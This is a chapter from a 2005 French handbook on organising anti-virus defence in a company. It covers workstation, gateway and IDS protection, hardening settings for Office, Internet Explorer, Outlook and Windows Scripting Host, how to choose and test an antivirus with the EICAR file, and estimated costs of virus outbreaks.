9.1.1 Les ressources propres à l’utilisateur Il s’agit principalement du poste fixe ou nomade. L’homme moderne ajoutera à sa panoplie un PDA et envisagera l’investissement pour un téléphone de troisième génération. La protection du poste de travail est déterminante. Il doit être équipé de son propre anti-virus. Même si le virus pénètre la passerelle Internet dans un format non reconnu, même s’il n’est pas détecté sur le serveur, il doit être intercepté avant que l’utilisateur n’ait son poste infecté. Maintenir à jour le logiciel antivirus de la station de travail est l’une des taches les plus ardues de l’administrateur système. Ceci est spécialement le cas sur les équipements nomades qui ne sont pas connectés en permanence au réseau. Les sociétés développant des anti-virus offrent leurs propres outils de déploiement. Dès qu’un parc informatique devient moindrement important, leur utilisation devient indispensable. Il est aussi impératif de pouvoir verrouiller la configuration choisie afin d’éviter une modification de la configuration ou une désactivation volontaire ou involontaire du produit. Associé à l’anti-virus, le pare-feu personnel est indispensable. Il permet le passage sélectif des flux d’information entre la machine et le réseau interne et/ou public. Il protège le poste nomade et le poste installé dans l’entreprise des attaques venant du NET et le réseau d’entreprise des attaques pouvant venir du poste de travail. Le pare-feu personnel s’installe directement sur la machine de l’utilisateur, qu’il soit un particulier ou un employé nomade de l’entreprise. Les mises à jours critiques qui s’appliquent au système d’exploitation doivent être appliquées de manière rigoureuse. Pour le poste de travail, l’automatisation de l’installation des correctifs de sécurité demeure l’option recommandée. Les personnes ayant une connexion lente peuvent demander à Microsoft l’envoi d’un kit qui contient l’ensemble des mises à jour critiques pour Microsoft Windows.
PAGET_Ch09 Page 237 Lundi, 11. avril 2005 5:23 17
9.1 Les grandes règles à respecter
237
Des offres de sécurités existent aujourd’hui pour les PDA. Elles protègent ces équipements contre les quelques virus et chevaux de Troie actuels.
9.1.2 Les ressources partagées Le poste de travail n’est pas isolé, dans l’entreprise, il s’interface avec des serveurs de données ou de fichiers. L’utilisateur a aussi à sa disposition des imprimantes multifonctions modernes et des photocopieurs numériques qui sont à eux seuls de véritables ordinateurs. L’application des mises à jours critiques, des correctifs (patchs) et des mises à jour applicatives ou systèmes s’étendent aussi aux ressources partagées. Les administrateurs doivent de préférence utiliser des outils dédiés qui en gèreront le déploiement. Ces gestionnaires de correctif et de configuration aideront et superviseront tout les processus de mise en place. Rappelons qu’il est très fortement déconseillé de naviguer sur Internet à partir d’un serveur. Ce procédé semble très pratique pour récupérer un correctif, consulter une base de connaissances, mais il vaut mieux le faire d’une autre station, et obliger les intervenants extérieurs à faire de même. Même si l’anti-virus risque d’induire une dégradation dans la vitesse du trafic, celui ci est fortement conseillé en entrée/sortie des serveurs de donnée partagés. Il ne faut pas négliger trop rapidement les périphériques modernes. Ils peuvent contenir un système d’exploitation vulnérable et faire l’objet d’attaques de tout ordre, y compris virales.
© Dunod – La photocopie non autorisée est un délit
9.1.3 Les passerelles Avec la passerelle Internet, le serveur de messagerie et le routeur, nous sommes à la porte d’un monde qui peut s’avérer hostile. La mise en place d’un anti-virus et d’un pare-feu est ici de la plus grande importance. En complément des équipements personnels, ceux-ci complèteront les dispositifs précédemment décrits en protégeant le réseau interne de l’entreprise lorsque celui-ci débouche vers l’extérieur. Les antivirus pour passerelles devront traiter le plus grand nombre de types de trafic (FTP, HTTP, SMTP…) et savoir analyser un large panel de formats de documents. La certification de l’antivirus face aux systèmes d’exploitation accueillant les serveurs de messagerie et de fichiers en sera le principal atout. Le contrôle de contenu est une solution de surveillance dédiée à la messagerie électronique et à la navigation Internet (HTTP, FTP…). Outre le fait que certains de ces outils savent détecter les virus et autres codes malveillants, ils permettent une analyse lexicale par mots clés dans les mails ou dans les URL. L’installation d’un logiciel anti-spam permettra de bloquer ou de limiter la prolifération des messages non-sollicités ou les phénomènes de mailbombing.
PAGET_Ch09 Page 238 Lundi, 11. avril 2005 5:23 17
238
Chapitre 9. Organiser la lutte anti-virale
Les solutions IDS et IPS combinent logiciel et matériel. Fonctionnant comme des solutions anti-virus ou anti-spam, les systèmes de détection d’intrusions (IDS – Intrusion Prevention System) se réfèrent à une base de signatures d’attaques connues. Elles ne peuvent détecter que celles dont elles possèdent la signature. Afin de donner à leur solution plus de réactivité lorsqu’une attaque surgit, certains éditeurs ont décidé de transformer leur offre en IPS (Intrusion Prevention System). Ils axent leur technologie vers la prévention proactive, capable de réagir en temps réel lorsque qu’une anomalie est détectée ou qu’une intrusion est avérée. L’équipement fonctionne selon des règles de comportement et de signatures d’attaques, il surveille les attaques en dépassement de tampon (buffer overflow), les élévations de privilèges, les chargement en mémoire et les modifications critiques du système d’exploitation, l’utilisation excessive du CPU, la diminution soudaine de la bande passante, etc. Ces équipements signalent des divergences par rapport au fonctionnement normal des éléments surveillés. Contrairement au pare-feu, qui traite des requêtes et les interdit, un tel système les analyse de façon continue et ne réagissent qu’en cas d’anomalies.
9.1.4 Le monde extérieur Une fois l’entreprise sécurisée, le monde extérieur n’a pas disparu. Le particulier est aujourd’hui la principale cible des virus, son ordinateur devient ainsi le principal pollueur du NET. Tout ordinateur domestique est une source potentielle d’attaque au regard du virus qu’il est susceptible de renfermer, celui ci peut même parfois contenir : • Un module d’attaque ciblé. • Des URL et adresses de messagerie précises et liées à une entreprise particulière. Des scanners de vulnérabilité peuvent permettre de faire un audit en évaluant la résistance des machines au sein d’un réseau protégé. Un outil efficace doit savoir détecter les failles et préconiser des solutions.
9.1.5 La dimension humaine En temps qu’utilisateur ou administrateur système, l’homme se retrouve acteur et responsable à tous les niveaux. La formation et l’information doivent être au cœur du dispositif organisationnel. La sensibilisation n’est jamais définitivement acquise, elle doit faire l’objet de rappels périodiques et adaptés. Ces dispositions doivent se concrétiser dans : • Une politique de charte. • Un règlement intérieur.
PAGET_Ch09 Page 239 Lundi, 11. avril 2005 5:23 17
9.2 Techniques de protection
239
En entreprise, il est possible de nommer des correspondants sécurités qui pourront servir de relais bidirectionnels dans leur environnement proche. En prise directe avec les utilisateurs, la cellule de soutien technique (HelpDesk) doit travailler en lien étroit avec l’équipe sécurité. Elle doit savoir comment réagir face aux interrogations des utilisateurs et évaluer la pertinence d’une mise à jour forcée et anticipée des outils de protection. Elle doit aussi pouvoir évaluer un risque ponctuel imposant un changement temporaire du niveau de sécurité appliqué (blocage d’une nouvelle extension de fichier, passage au mode d’analyse heuristique, etc.). Selon l’importance de l’entreprise ou envisagera ou non, la mise en place d’équipes d’astreinte (pour la veille technologique et l’intervention) pouvant aller jusqu’au 24/24 – 7 jours sur 7.
9.1.6 La politique des mises à jour La mise en place de procédures automatiques doit se calquer sur la périodicité des mises à disposition de mises à jour par le fournisseur de l’anti-virus installé. Seule cette acceptation peut permettre une réactivité suffisante face aux menaces actuelles. Ces mises à jour automatiques peuvent se faire de manière ordonnancée en privilégiant le périmètre et les serveurs vitaux. On n’oubliera pas d’appliquer de manière régulière les correctifs liés aux systèmes d’exploitation. Se calquant sur Microsoft, il est souhaitable d’envisager des mises à jour mensuelles.
© Dunod – La photocopie non autorisée est un délit
9.2 TECHNIQUES DE PROTECTION Les virus s’attaquent souvent à des logiciels ou à leurs failles, ils s’introduisent parfois par le biais de fonctionnalités inutilisées. D’une manière générale, les installations standards sont singulièrement vulnérables. Retirer certaines fonctionnalités telles que le partage de fichier ou le partage de bureau Net Meeting permet d’obtenir des postes plus performants et moins sensibles aux virus. Par ailleurs, les correctifs à appliquer en sont d’autant moins nombreux et la gestion de son parc s’en retrouve affermie. Le paramétrage des applications, en particulier la navigation Internet et la messagerie doit faire l’objet de procédures scrupuleuses. Le navigateur de Microsoft est particulièrement visé par les virus, au delà des correctifs à appliquer régulièrement, il faut renforcer la sécurité en modifiant les paramètres de navigation par défaut qui sont parfois très permissifs (exemple : ouverture automatique de contenus actifs). Ne pas ouvrir automatiquement les pièces jointes est une bonne mesure. Le principe de prudence serait de rendre passive la navigation sur Internet, et de n’accepter que le contenu actif (java, scripts, active x, cookies) de sites choisis.
PAGET_Ch09 Page 240 Lundi, 11. avril 2005 5:23 17
240
Chapitre 9. Organiser la lutte anti-virale
Ce paramétrage pouvant être bloquant sur certains sites mal développés, l’utilisateur doit être formé comme cela a déjà été indiqué plus haut. Le client de messagerie standard Microsoft étant basé sur le paramétrage de sécurité du navigateur, on voit bien l’importance de ce type d’action.
9.2.1 Les anciennes méthodes Nous ne nous attarderons pas ici à les détailler. Rappelons simplement qu’il est bon de : • Modifier l’ordre de démarrage du système en changeant la séquence du CMOS : – CD-ROM, puis – Disque dur, puis – Disquette. • D’être capable de générer dans l’urgence un CD-ROM de démarrage compatible avec son système d’exploitation et contenant un anti-virus à jour du type ligne de commande1. • D’être capable de restaurer depuis les CD-ROM originaux un ou plusieurs fichiers particuliers. • Configurez la messagerie pour n’autoriser qu’un nombre limité d’extensions : fichiers au format TXT, RTF, CSV, ZIP et PGP. • Protéger son PC contre les accès non-autorisés. Un nouvel accessoire intitulé Wireless PC Lock permet d’éviter que le premier venu n’accède à votre machine2. Il rend les fonctions du PC inaccessibles dès que vous vous éloignez de votre PC.
9.2.2 Les suites office Face aux macro-virus, notons simplement ici les principales recommandations : • • • •
Mettre en lecture seule les fichiers normal.dot et blank presentation.pot. Vérifier le contenu et utiliser les répertoires de démarrage. Activer les protections internes contre les macro-virus. Pour l’échange de vos documents Word, utilisez uniquement les fichiers Rich Text Format (RTF). • Pour l’échange des documents Excel, privilégier les fichiers au format CSV3. 1. Un outil intéressant est disponible sur le site : http://severinterrier.free.fr/Boot/PE-Builder/. 2. Une description complète du produit est disponible sur le site du guide du routard : http://www.routard.com/mag_objn.asp?id_obn=254. 3. L’extension *.CSV est un format de fichiers texte dont le contenu est délimité par un élément typographique tel qu’une virgule, un point-virgule ou une tabulation.
PAGET_Ch09 Page 241 Lundi, 11. avril 2005 5:23 17
9.2 Techniques de protection
241
Au sujet d’Office 2000, je recommande la lecture de l’étude menée par Darren Chi & Raul Elnitiarta dans le numéro d’octobre 1999 du Virus Bulletin1. On notera parmi leurs recommandations, également valables pour Office 2003 : • Configurer chaque application avec un niveau de sécurité maximal. • Ne pas activer le choix Faire confiance à tous les modèles et compléments installés (onglet Sources fiables du sous-menu Outils/Macro/Sécurité. En version anglaise, ce choix est intitulé Trust all installed add-ins and templates.
Figure 9.1 — Règles de sécurités optimales pour la suite Office 2003
© Dunod – La photocopie non autorisée est un délit
9.2.3 Internet explorer Le niveau de sécurité offert par défaut est Moyen. Dans cette configuration, la navigation Internet se trouve fortement facilitée. Si l’ensemble des mises à jour sécuritaires a été effectué et si l’anti-virus est mis à jour très régulièrement, l’utilisateur peut se considérer comme suffisamment protégé. Les deux niveaux infèrieurs sont à proscrire. Si l’on souhaite augmenter son niveau de sécurité, il faut créer à partir du niveau moyen un niveau personnalisé en positionnant certaines options autorisées à une valeur plus sécurisante. On atteint la fenêtre de configuration par le choix Outils/ Options Internet…/Sécurité puis le bouton Personnaliser le niveau…. Les paramètres à considérer sont : • Contrôles ActiveX et plug-ins : – Contrôles ActiveX reconnus surs pour l’écriture de scripts → Demander. – Contrôles d’initialisation et de script ActiveX non marqués → Désactiver. – Exécuter les contrôles ActiveX et les plug-ins → Demander. 1. CHI Darren & ELNITIARTA Paul (1999), Office 2000 and Macro Security, Virus Bulletin, octobre 1999, pp 14-16.
PAGET_Ch09 Page 242 Lundi, 11. avril 2005 5:23 17
242
Chapitre 9. Organiser la lutte anti-virale
– Télécharger les contrôles ActiveX non signés → Demander. – Télécharger les contrôles ActiveX signé → Demander. • Microsoft VM : – Autorisation Java → Haute Sécurité. • Script : – Permettre les opérations de collage via les scripts → Demander. – Script des applets Java → Demander. L’inconvénient de cette méthode est l’apparition de nombreuses boites de dialogue au cours de la navigation. C’est la raison pour laquelle je ne peux préconiser cette configuration que dans le cas d’une navigation à risque. Les termes sûr et signé font référence à des certificats numériques de sécurité établis par des autorités reconnues à la demande des éditeurs. Ils sont censés garantir que le programme appelé a bien été créé par tel éditeur de confiance.
9.2.4 Outlook et Outlook Express L’autorisation de l’envoi et de la réception de mails au format HTML est un réel danger. Ni Outlook, ni Outlook Express ne peuvent être configurés en entrée pour une conversion automatique vers le format texte. Vous pouvez par contre imposer un envoi de mail dans un format souhaité. Avec la version française d’Outlook, le sous-menu Outils/Options… vous propose un onglet Format du courrier. Vous pouvez alors éliminer le choix HTML en choisissant à votre convenance Format RTF ou Texte brut.
Figure 9.2 — Paramétrage de l’onglet Format du courrier d’Outlook
PAGET_Ch09 Page 243 Lundi, 11. avril 2005 5:23 17
9.2 Techniques de protection
243
Attention, cette configuration n’influe pas sur le type de format en réponse à un mail. Celui-ci reste par défaut identique à celui du mail reçu. Sous Outlook Express, vous choisirez l’onglet Envoyer (le sous-menu Outils/ Options…). Vous pourrez alors choisir entre HTML et Texte brut.
Figure 9.3 — Paramétrage des Envois sous Outlook Express
Sous Outlook, les options de prévisualisation sont paramétrables via le menu Affichage et les choix Volet de lecture et Aperçu partiel.
© Dunod – La photocopie non autorisée est un délit
Avec Outlook Express, le choix Affichage/Disposition… vous permet d’activer ou non la prévisualisation (choix Afficher le volet de visualisation).
Figure 9.4 — Paramétrage du volet de prévisualisation sous Outlook Express
PAGET_Ch09 Page 244 Lundi, 11. avril 2005 5:23 17
244
Chapitre 9. Organiser la lutte anti-virale
9.2.5 Windows Scripting Host Ce logiciel est aujourd’hui indispensable pour une navigation correcte sur Internet et il n’est plus envisageable d’en proposer la suppression. Sur une machine sensible, il est cependant possible de modifier les liens d’auto chargement dans la base de registres. On remplacera : Hkey_Classes_Root\VBSFile\Shell\Open\Command: c:\win98\wscript.exe “%1” %” Hkey_Classes_Root\VBSFile\Shell\Open2\Command: c:\win98\command\cscript.exe “%1” %” par: Hkey_Classes_Root\VBSFile\Shell\Open\Command: c:\win98\notepad.exe “%1” %” Hkey_Classes_Root\VBSFile\Shell\Open2\Command: c:\win98\command\notepad.exe “%1” %”
Suite à cette manipulation, l’exécution d’un fichier de script ne se fera plus ni via un double-clic, ni via le bouton droit de la souris (choix Ouvrir). Au lieu d’une exécution, ces commandes ouvriront l’éditeur de texte notepad et vous permettront de visualiser le contenu du fichier de script. Pour permettre une exécution rapide des fichiers, vous créerez une nouvelle clé de type Execute : Hkey_Classes_Root\VBSFile\Shell\Open\Execute: c:\win98\wscript.exe “%1” %” Hkey_Classes_Root\VBSFile\Shell\Open2\Execute: c:\win98\command\cscript.exe “%1” %”
Un click droit de la souris vous offrira alors un choix Exécuter qui vous permettra de réaliser cette fonction. Si vous devez conserver en l’état WSH, ne répondez jamais immédiatement Oui en présence de la boite de dialogue Alerte de Sécurité. Vérifiez avec votre éditeur de texte le contenu de la page suspecte.
9.2.6 Simples et doubles extensions De nombreux virus utilisent la technique de la double extension. Dans sa configuration standard, l’Explorateur Windows est généralement incapable de vous alerter du phénomène : il ne les visualise pas. Il faut donc veiller à modifier la configuration de l’affichage en suivant le cheminement : • Poste de travail. • Outils. • Option des dossiers… Dans l’onglet Affichage, on décochera l’option Cacher les extensions des fichiers dont le type est connu. De même de nombreux virus utilisent des extensions peu connues du type exécutables. Pour toutes celles ci, il est intéressant de modifier les associations entre ces extensions et l’action entreprise par le système d’exploitation en cas de double-clic. On procède pour cela de la manière suivante : • Poste de travail.
PAGET_Ch09 Page 245 Lundi, 11. avril 2005 5:23 17
245
9.2 Techniques de protection
• Outils. • Option des dossiers…
Figure 9.5 — Paramétrage de l’onglet Affichage de l’Explorateur Windows
Dans l’onglet Types de fichiers, il faut maintenant rechercher les extensions à risque. Citons parmi elles : JS, JSE, OTF, REG, SCT, SHB, SHS, VBE, VBS, WSC, WSF, et WSH.
© Dunod – La photocopie non autorisée est un délit
Pour chacune d’entre elle, il faudra modifier le programme que l’on souhaite utiliser pour son ouverture. Ce réglage se fait via le bouton Modifier… puis le choix du Bloc-notes.
Figure 9.6 — Paramétrage de l’onglet Types de fichiers de l’Explorateur Windows –
Modification d’extension
PAGET_Ch09 Page 246 Lundi, 11. avril 2005 5:23 17
246
Chapitre 9. Organiser la lutte anti-virale
Il faudra ensuite vérifier la présence de l’extension PIF. Si celle-ci est absente, on l’ajoutera en lui associant ensuite le Bloc-notes selon la technique précédente.
Figure 9.7 — Paramétrage de l’onglet Types de fichiers
de l’Explorateur Windows – Ajout d’extension
9.2.7 L’extension SHS De nombreux virus utilisent la technique de la double extension pour tenter de tromper la vigilance de l’utilisateur qui, s’il n’y prend garde, croit recevoir un fichier texte inoffensif. À titre d’exemple, VBS/LoveLetter.A@MM diffuse un fichier LOVE-LETTERFOR-YOU.TXT.vbs. Le virus VBS/LifeStages.A@MM est plus subtil, il diffuse un fichier intitulé LIFE_STAGES.TXT.SHS. L’extension en question est dédiée aux fichiers du type ShellScrap. Elle reste invisible à l’utilisateur même s’il a configuré l’Explorateur Windows pour une visualisation complète des extensions de fichier telle que nous l’avons indiqué plus haut. L’autorisation de la visualisation de l’extension SHS doit se faire via l’éditeur de la base de registres : • Lancez Regedit. • Edition/Rechercher… • Indiquez comme chaîne de caractère à rechercher ShellScrap et cliquez sur Suivant. • La première occurrence trouvée correspond généralement à la clé HKEY_CLASSES-ROOT\.shs.
PAGET_Ch09 Page 247 Lundi, 11. avril 2005 5:23 17
247
9.2 Techniques de protection
• Continuez la recherche en choisissant Edition/Suivant. • La clé suivante est normalement HKEY_CLASSES-ROOT\ShellScrap. C’est elle qui doit être modifiée. • Dans la fenêtre de droite, choisissez la ligne NeverShowExt, et faites apparaître le menu conceptuel via le bouton droit de la souris. • Exécutez le choix Supprimer. • Quittez Regedit.
Figure 9.8 — Éditeur du registre regedit –
Paramétrage de l’extension ShellScrap
© Dunod – La photocopie non autorisée est un délit
9.2.8 Paramètres réseau Parmi toutes les adresses IP disponibles, il existe trois classes IP privées. Elles peuvent être utilisées en toute liberté au sein d’une entreprise ou chez un particulier. Ne pouvant se connecter directement à Internet, elles sont plus résistantes aux attaques. Il est donc conseillé de les employer comme valeurs par défaut pour le protocole Internet TCP/IP. Il s’agit ici de l’adresse physique liée à votre carte réseau. Lors de l’installation de votre passerelle Internet, une adresse IP virtuelle, fixe ou variable, vous sera attribuée, c’est au travers de celle ci que s’effectuera votre accès distant. Toujours en lien avec les propriétés de connexion au réseau Internet, deux composants installés par défaut peuvent être généralement désactivés ; il s’agit du : • Client pour le réseau Microsoft. • Partage de fichiers et d’imprimantes pour les réseaux Microsoft.
PAGET_Ch09 Page 248 Lundi, 11. avril 2005 5:23 17
248
Chapitre 9. Organiser la lutte anti-virale
Tableau 9.1 — Classes privées d’adresses IP Nom de classe privée
Adresse IP
Nombre maximum de machines connectables
A
10.x.y.z, où : 0 <= x <= 255 0 <= y <= 255 0 <= z <= 255
(256*256*256) – 2 = 16 777 214
B
172.x.y.z, où : 16 <= x <= 31 0 <= y <= 255 0 <= z <= 255
(15*256*256) – 2 = 1 048 574
C
192.168.x.y, où : 0 <= x <= 255 0 <= y <= 255
(256*256) – 2 = 65 534
S’ils restent sélectionnés, alors que vos adresses IP sont différentes de celles proposées ci-dessus, votre station ou votre réseau reste généralement vulnérable malgré l’installation d’un pare-feu configuré avec ses options par défaut.
Figure 9.9 — Paramétrage réseau – Protocole TCP-IP
Si vous utilisez une carte WiFi, cette recommandation reste bien sur valable.
Sources alternatives Afin d’être moins vulnérables, il vous est aussi possible de choisir des logiciels alternatifs à l’offre de Microsoft. Deux logiciels en version française doivent retenir votre attention : • Navigateur Internet : Mozilla FireFox. • Outil de messagerie : Mozilla Thunderbird.
PAGET_Ch09 Page 249 Lundi, 11. avril 2005 5:23 17
9.3 Choisir son anti-virus
249
Ces logiciels sont très conviviaux. Sachez cependant que votre accès sur le site Windows Update n’est pas géré par FireFox ; le conseil qui vous est parfois donner de supprimer l’intégralité de Windows Explorer doit donc être suivi en toute connaissance de cause.
Figure 9.10 — FireFox ne permet pas l’activation automatique de Windows Update
9.3 CHOISIR SON ANTI-VIRUS 9.3.1 Les benchmarks
© Dunod – La photocopie non autorisée est un délit
À côté de la presse informatique nationale et internationale, quelques organismes indépendants éditent régulièrement des comparatifs produits. Seuls ces derniers s’appuient sur une bonne compétence technique en évitant : • le comportement irréfléchi qui consiste à écrire son propre virus de laboratoire, • les erreurs de configuration liées à la méconnaissance de certains produits, • l’utilisation d’une collection d’un des concurrents en liste, • l’utilisation d’une collection douteuse ou la capacité de propagation de chaque virus n’a pas été vérifiée. Le minimum que l’on doit demander un anti-virus est qu’il détecte l’ensemble des 1500 virus que liste la WildList depuis son origine. Ceci paraît être une évidence qu’il est pourtant parfois bon de vérifier si l’on est tenté de s’éloigner de la liste des ténors du marché. Cette liste, mise à jour mensuellement est disponible sur http://www.wildlist.org/. Des tests sérieux sont disponibles sur les sites suivants : • AV Comparatives : http://www.av-comparatives.org/
PAGET_Ch09 Page 250 Lundi, 11. avril 2005 5:23 17
250
Chapitre 9. Organiser la lutte anti-virale
• TruSecure –ICSA Labs : http://www.icsalabs.com/index.shtml • Virus Test Center – University of Hamburg – Computer Science Department : http://agn-www.informatik.uni-hamburg.de/vtc/naveng.htm • Virus Research Unit – University of Tampere, Finland : http://www.uta.fi/ laitokset/virus/ (aujourd’hui en sommeil) • Virus Bulletin : http://www.virusbtn.com/ Dans un ordre souvent différent, on retrouve dans tous ces tests le même peloton de tête constitué d’une douzaine de produits alphabétiquement cités ci-dessous1 : • • • • • • • • • • • • •
Avast! Professional Edition 4.1 BitDefender Professional Edition 7.2 Dr.Web for Windows 95-XP 4.31b NOD32 2.0 F-Prot for Windows 3.15 RAV Reliable Anti-Virus 8.6 H+B EDV AntiVir Professional 6.26 Kaspersky Anti-Virus Personal 5.0 McAfee VirusScan 8.0 Panda Platinum Internet Security 8.0 Sophos Anti-Virus 3.84 Symantec Norton Anti-Virus 2004 Trend Micro Internet Security 2004
9.3.2 Se faire sa propre opinion Les résultats étant souvent honorables pour nombre des nominés ; d’autres critères doivent être mis en avant pour départager les ex æquo. Nous ne nous attarderons nullement ici sur le prix qui est souvent négociable pour les grands comptes. Nous citerons plutôt comme points complémentaires de recherche : • • • • • • • •
le large éventail des plates-formes supportées, la facilité d’installation et de désinstallation, les tests de non contamination avant installation, son autocontrôle d’intégrité, les outils de déploiement offerts à l’installation, l’exhaustivité de l’identification des virus (garant d’une bonne éradication), l’analyse de la mémoire, la capacité à stopper un processus résident,
1. liste AV Comparatives – août 2004.
PAGET_Ch09 Page 251 Lundi, 11. avril 2005 5:23 17
9.3 Choisir son anti-virus
251
• les modes de recherche offerts. Il est important d’éviter les produits travaillant uniquement par base de signature. Il faut aussi éviter le tout heuristique. Le panachage est gage de réussite. • la faculté de nettoyer en profondeur la base de registres, • la possibilité de verrouiller la configuration, • la convivialité de l’interface, • la transparence pour l’utilisateur, • la régularité des mises à jour, • la taille de chaque mise à jour (processus incrémental ou non), • la rapidité de réaction face à un virus inconnu, • la pérennité de la marque et son implantation en France, • l’importance des équipes techniques et leurs localisations, • l’offre de produits complémentaires à l’anti-virus, • et, s’il n’y a pas de mise à jour, la qualité des modules d’interception et d’élimination en environnement sain et contaminé. Le nombre de souches reconnues n’est pas à retenir. Derrière une seule signature un produit peut détecter une centaine de variantes au désavantage d’un autre produit qui préfèrera les différencier… La vitesse d’examen d’un support sain est intéressante à prendre en compte. Ce paramètre est sans intérêt sur un support infecté. Dans ce cas, c’est la rigueur, l’efficacité dans la détection et l’éradication qui prime.
© Dunod – La photocopie non autorisée est un délit
Ceux qui voudront se livrer à leurs propres analyses risquent de se lancer dans des tests en utilisant leur propre collection de virus. Ceci est très dangereux et ne donnera aucun résultat satisfaisant : pour les anti-virus du peloton de tête, les résultats seront du 100 % (virus communs). La seule conséquence risque d’être une activation malencontreuse d’un de ces virus et une propagation vers le monde extérieur. Il est cependant possible de mener des tests. Le fichier eicar.com est dédié à cet exercice. Le mode de fabrication de ce leurre est largement diffusé. Vous le trouverez entre autre sur le site de l’association qui porte son nom1.
9.3.3 Testez votre anti-virus Pour créer le leurre, il suffit de recopier la ligne ci-dessous dans un fichier texte que l’on renommera ensuite avec une extension .com. La chaîne comporte 68 caractères : X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
1. EICAR : http://www.eicar.com/anti_virus_test_file.htm.
PAGET_Ch09 Page 252 Lundi, 11. avril 2005 5:23 17
252
Chapitre 9. Organiser la lutte anti-virale
On obtient ainsi un fichier sans danger dont la signature normalisée a été introduite dans toutes les bases de signatures des éditeurs d’antivirus sérieux. Il est ensuite possible de triturer ce faux virus en : • • • • • •
lui masquant son extension, lui donnant toutes sortes d’extensions possibles, lui donnant une double extension, le compressant dans toutes ses formes, faisant des compressions récursives, utilisant de multiples compresseurs DOS ou Windows (ASPack, NeoLite, PEPack, Petite, PkLite32, Shrinker, UPX, WWPack32, WinZip, Diet, Ice, LzExe, PkLite, WWPack etc.). Bien entendu en utilisant plusieurs versions de chacun de ces compresseurs. • Le comprimant en mode auto-extractible… Une fois ces manipulations faite, il est possible d’obtenir une centaine de fichiers que l’on pourra ensuite présenter à son anti-virus. Ne croyez pas alors obtenir un taux de réussite à 100 % ; ces tests sont beaucoup plus malaisés qu’ils n’y paraissent : • Scan à la demande : si un fichier n’est pas détecté c’est que votre antivirus ne gère pas, par exemple, tel type de compression/décompression, ou décompresse mal le fichier. • Scan sur accès : copiez, déplacez les fichiers sur un disque ou sur des disques réseaux. Lorsqu’ils ont une extension adéquate, tentez un double-clic. Sur d’autres extensions, essayez une ouverture au travers de notepad ou d’un outil bureautique quelconque. S’ils sont compressés, tentez une décompression au travers de l’utilitaire qui permet de les restaurer. Observer le temps de réponse de votre antivirus et sa capacité à effacer ou à mettre en quarantaine les souches. • Test POP/SMTP : Sous Outlook ou Outlook Express, envoyez ces fichiers en pièce jointe, seuls ou en lot. • Renouvelez le test avec d’autres messageries : Netscape, Eudora, Lotus Notes, Pegasus, The Bat, etc. Si votre antivirus travaille au niveau du protocole POP3, tous les clients de messagerie devraient être protégés. • Envoyez ces fichiers en utilisant tous les protocoles et clients de communications instantanées à votre disposition : P2P (Poste à Poste), ICQ, Yahoo! Messenger, NetMeeting, MSN Messenger, etc. Une fois ces textes effectués, il ne vous reste plus qu’à vous forger une opinion.
PAGET_Ch09 Page 253 Lundi, 11. avril 2005 5:23 17
253
9.4 Le poids d’une infection virale pour l’entreprise
9.4 LE POIDS D’UNE INFECTION VIRALE POUR L’ENTREPRISE Après chaque grosse infection virale, des experts de tout bord nous annoncent leurs chiffres. Les uns s’expriment en milliards de dollars et leurs évaluations s’affichent fréquemment à la une des médias. Les deux tableaux suivants synthétisent quelques études du Computer Economics telles que j’ai pu les retrouver au sein de certaines coupures de presse. Tableau 9.2 — Pertes estimées par virus (source Computer Economics) Date de l’alerte
Virus
Worldwide Economics Impact (billions US)
Mars 1999
Melissa
$ 1,5
Mai 2000
Loveletter
$ 8,75
16 Juillet 2001
Code Red(s)
$ 2,75
17 Juillet 2001
Sircam
$ 1,15
Septembre 2001
Nimda
$ 0,635
Avril 2002
Klez
$ 0,750
Janvier 2003
Slammer
$1
Mai 2003
Bugbear
$ 0,950
Août 2003
Sobig.F
$ 2,5
Janvier 2004
Mydoom
$4
Avril 2004
Sasser
$ 0,400 - 0,500 (estimation)
© Dunod – La photocopie non autorisée est un délit
Les chiffres annoncés sur une année sont aussi éloquents mais tout aussi difficilement vérifiables. Tableau 9.3 — Pertes estimées par année (source Computer Economics) Worldwide Economic Impact (billions US)
Année 1995
$ 0,5
1996
$ 1,8
1997
$ 3,3
1998
$ 6,1
1999
$ 12,1
2000
$ 17,1
2001
$ 13,2
PAGET_Ch09 Page 254 Lundi, 11. avril 2005 5:23 17
254
Chapitre 9. Organiser la lutte anti-virale
Les résultats des enquêtes de l’ICSA Labs (International Computer Security Association) semblent plus raisonnables. Elles tentent de cerner le phénomène en le ramenant à l’échelle d’un sinistre et d’une entreprise. Il semble possible de résumer ces études en estimant qu’une attaque virale coûte en moyenne entre 5000 et 10000 Euros pour l’entreprise qui la subit. Tableau 9.4 — Pertes estimées par entreprise (source ICSA) ICSA Labs
Indisponibilité d’un serveur
Pertes en homme/jour
Pertes financières
1996
348 minutes (environ 6 heures)
44 heures (moins de 2 H/J)
$ 8.100
1997
40 minutes
44 heures (moins de 2 H/J)
$ 8.360
1998
43 minutes
45,6 heures (moins de 2 H/J)
$ 2.454
1999
Moins d’une heure dans 91 % des cas.
Moins de 20 H/J dans 80 % des cas. 5 H/J comme valeur médiane
Moins de $ 5000 dans 74 % des cas. Valeur moyenne : 8,4 K$ Valeur médiane : 1,7 K$
2000
Moins d’une heure dans 36 % des cas. Entre 1 et 20 heures dans 33 % des cas.
Moins de 10 H/J dans 75 % des cas. 7 H/J comme valeur médiane
Moins de $ 1000 dans 33 % des cas. Entre $ 1000 et $ 10000 pour 29 % des cas. Valeur moyenne : 8,4 K$ Valeur médiane : 1,7 K$
2001
De 0 à 1 heure dans 12 % des cas. Entre 1 heure et 10 heures dans 72 % des cas.
Moins de 10 H/J dans 68 % des cas. 4 H/J comme valeur médiane
Moins de $ 1 000 dans 43 % des cas. Entre $ 1 000 et $ « 30 000 pour 34 % des cas. Valeur moyenne : 69 K$ Valeur médiane : 5,5 K$
2202
De 0 à 1 heure dans 51 % des cas. Entre 1 heure et 10 heures dans 22 % des cas.
Moins de 10 H/J dans 62 % des cas. 4 H/J comme valeur médiane
Moins de $ 10 000 dans 54 % des cas. Entre $ 10 000 et $ « 50 000 pour 35 % des cas. Valeur moyenne : 81 K$ Valeur médiane : 9,5 K$
Le premier chiffre français qu’il m’a été possible de retrouver provient du CLUSIF. Selon l’association, l’évaluation de l’impact économique des infections virales pour les entreprises françaises en 2000 fut de 129 millions de francs. Plus près de nous, après l’attaque Mydoom, le CLUSIF a lancé le 9 février 2004 auprès de ses membres son second Observatoire d’Impact. Tout comme l’année précédente (janvier 2003) avec W32/Lirva@MM l’association espérait ainsi mieux appré-
